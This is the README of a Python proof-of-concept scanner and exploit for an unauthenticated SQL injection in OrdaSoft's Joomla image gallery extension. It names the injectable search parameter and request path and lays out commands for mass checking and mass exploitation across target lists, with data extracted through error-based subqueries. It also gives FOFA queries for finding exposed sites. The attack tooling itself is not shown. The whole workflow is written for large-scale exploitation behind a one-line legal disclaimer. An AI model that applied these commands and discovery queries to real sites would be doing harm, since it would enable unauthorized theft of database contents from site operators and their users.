CVE-2026-88854 — OrdaSoft Joomla Gallery SQL Injection

Python 3 PoC scanner/exploit for CVE-2026-88854 in OrdaSoft OS Responsive Image Gallery for Joomla.

Summary

showSearchResult() / showSearchResultAjax() read textsearch / searchText via $input->getVar(), which does not apply proper SQL escaping. The value is concatenated into a LIKE clause. Unauthenticated visitors can use UNION-style injection to read database contents.

Typical request surface:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

Legacy installs may use task name searhResult (typo).

Requirements

• Python 3.9+
• pip install -r requirements.txt

Usage

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLI options

Output (mass check)

Common status values (check)

Post-scan audit (audit_scan.py)

After a mass check, run audit_scan.py to re-fetch administrator manifests and split targets:

Gallery version is read from the <version> element in administrator/components/com_osgallery/osgallery.xml, not the Joomla extension version= attribute.

Limitations

• Exploit mode uses MySQL error-based EXTRACTVALUE; MariaDB/Postgres, disabled errors, or WAF may yield no leak even when the CVE applies.
• Boolean length diffs alone are not treated as confirmed SQLi (ModSecurity 406 caused false positives in testing).
• Manifest version ≤ 6.2.6 indicates exposure window, not guaranteed exploitable SQLi on every host.
• Subdirectory Joomla installs require the correct base URL (e.g. https://host/site).

FOFA / discovery hints

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Repository layout

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local target lists and run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) are in .gitignore and should not be committed.

References

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

Legal

For authorized security testing only. You are responsible for compliance with applicable laws and program rules.